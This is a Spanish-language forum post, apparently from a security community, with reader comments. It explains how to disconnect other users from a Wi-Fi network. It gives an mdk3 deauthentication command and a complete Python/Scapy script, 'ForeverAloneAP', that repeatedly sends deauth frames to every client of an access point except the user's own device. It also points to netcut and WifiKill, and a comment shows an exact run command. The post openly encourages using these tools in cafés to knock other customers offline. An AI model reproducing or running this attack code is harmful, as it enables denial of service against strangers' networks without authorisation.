Si tienes la necesidad de echar a alguien de tu red wifi, es en primer medida porque ya la comprometieron y lo recomendable seria cambiar tus contraseñas y mirar la configuración para que no tenga nada vulnerable (lo típico, cambiar WEP por WPA2, deshabilitar el WPS, etc...), pero a veces por algún motivo hay gente a la que ya le diste acceso a tu red y quieres expulsarlo momentáneamente, por ejemplo para que no hagan tanto ruido con la música que escuchan por YouTube o spotify.
También puede que estés en un sitio público como una cafetería, y necesitas descargar urgentemente un archivo muy pesado y tienes muchos usuarios al rededor que se están gastando el ancho de banda.
En Linux la tenemos fácil, solo es usar MDK3, poner las direcciones Mac de las personas que quieres desconectar o de los AP´s que quieres dejar sin servicio en un archivo, escoger el canal en donde corren y ejecutar el siguiente comando:
mdk3 mon0 d -b listanegra.txt -c canal
Esto automáticamente desconectara esos usuarios, si decides poner la Mac de un router, desconectara automáticamente a todos los que estén conectados a él, como podemos ver en:
En la comunidad dejaron un script interesante para cuando queremos estar nosotros solos en la red, me causo risa por que el autor le puso como nombre ForeverAloneAP :D y básicamente es un script que nos pone a nosotros en una lista blanca dentro de un AP y periódicamente va expulsando cualquier cliente conectado a este que no seamos nosotros (practico para casos como el de la descarga urgente de archivos en un restaurante o café)
#!/usr/bin/env python
#Author: @hcjuan04
# =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ FOREVER ALONE AP =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
# I wrote this just because I need wide broadband in shared WLAN !!
# So how it works!
# Requirements: Debian core OS, Python and Scapy.
# This script sends deauthentication packets towards the clients connected to a specific AP
#
# How to Run it:
# FAAP.py BSSID interface channel safe_STA
#####BSSID = BSSID u r connected to - AP
#####interface: a monitor interface capable of inject traffic
#####Channel: the frequency channel the AP is working on
#####safe_STA: the client MAC address
# Feel free of share and modify
import sys, os, signal
from multiprocessing import Process
from scapy.all import *
interface = ""
observedclients = []
BSSID='' # BSSID to F*ck
interface='' # monitor interface
Channel ='' # BSSID channel
safe = '' # Safe STA
def sniffmgmt(p):
# if packet has 802.11 layer, and type of packet is Data frame
if p.haslayer(Dot11) and p.type == 2:
if p.addr3 == BSSID:
if p.addr2 not in observedclients:
observedclients.append(p.addr2)
print "[+] %s" %(p.addr2)
# Deauthentication method
def deauth(bssid, client, count):
pckt = Dot11(subtype=12, addr1=client, addr2=bssid, addr3=bssid) / Dot11Deauth(reason=7)
cli_to_ap_pckt = None
if client != 'FF:FF:FF:FF:FF:FF' :
cli_to_ap_pckt = Dot11(subtype=12, addr1=bssid, addr2=client, addr3=bssid) / Dot11Deauth(reason=7)
print 'Sending Deauth to ' + client + ' from ' + bssid
if not count:
print 'Press CTRL+C to quit'
while count != 0:
try:
for i in range(4):
# Send out deauth from the AP
send(pckt)
if client != 'FF:FF:FF:FF:FF:FF':
send(cli_to_ap_pckt)
count -= 1
except KeyboardInterrupt:
break
def main() :
try :
while True:
# Set channel
global observedclients
if observedclients != [] :
observedclients = []
os.system("iw dev %s set channel %s" % (interface, Channel))
# Get Clients
print "==================Forever Alone AP========================="
print "***************Clients From: %s *********" %(BSSID)
sniff(iface=interface, prn=sniffmgmt, timeout=25)
print observedclients
print "++++++++++++++++++Sending Deauth ++++++++++++++++++++++++++"
if observedclients != [] :
x=len(observedclients)
while (x > 0) :
if observedclients[x-1] != safe:
conf.iface = interface
deauth(BSSID, observedclients[x-1], 1)
x=x-1
print observedclients
time.sleep(5) #Wait
except KeyboardInterrupt:
print "FAAP terminated"
if __name__ == "__main__":
if len(sys.argv) != 5:
print "Usage python %s BSSID interface channel safe_STA" % sys.argv[0]
sys.exit(1)
BSSID = sys.argv[1]
interface = sys.argv[2]
Channel = sys.argv[3]
safe = sys.argv[4]
print "%s : %s : %s " % (BSSID, interface, Channel)
main()
este es el código, lo público el @hcjuan04 en el post http://comunidad.dragonjar.info/discussion/9266/como-garatizar-ancho-de-banda-en-wifi-publico
para Windows podemos utilizar la herramienta netcut que permite hacer lo mismo que MDK3 pero en Windows, usando winpcap, es muy simple su uso pero les dejo un video tutorial porque a veces pone problema con una dependencia en windows http://www.arcai.com/what-is-netcut/
netcut también tiene una versión para android, así que puedes expulsar los intrusos de tu red desde tu teléfono android solamente haciendo lo siguiente (necesitas tener el teléfono rooteado).
https://play.google.com/store/apps/details?id=com.arcai.netcut
para Android también hay una buena herramienta llamada WifiKill que podemos descargar de https://forum.xda-developers.com/showthread.php?t=1282900 y aquí como se usa:
espero que esto sea de utilidad
Pareces nuevo por aquí. Si quieres participar, ¡pulsa uno de estos botones!
Comentarios
hola, muy buen script pero como lo uso ...
@daniel72 en el script dice como se lanza y algunos requerimientos como los siguientes:
después de esto solo lo lanzas como dice en los comentarios:
es decir:
FAAP.py (mac del router al que estas conectado) (interface en modo monitor) (canal por donde estas conectado) (la mac tuya, para que no te desconecte)
para que te hagas una idea con datos falsos voy a ejecutar el comando, asumiendo que copiaste el código de este post y lo guardaste como un archivo con nombre FAAP.py y que los datos que tengo son:
recuerda que estos datos son falsos inventados para darte un ejemplo practico
python FAAP.py 00:11:22:33:44:55 mon0 10 55:44:33:22:11:00
espero que te sea de ayuda
UUh Muchas gracias, estaba buscando algo como esto.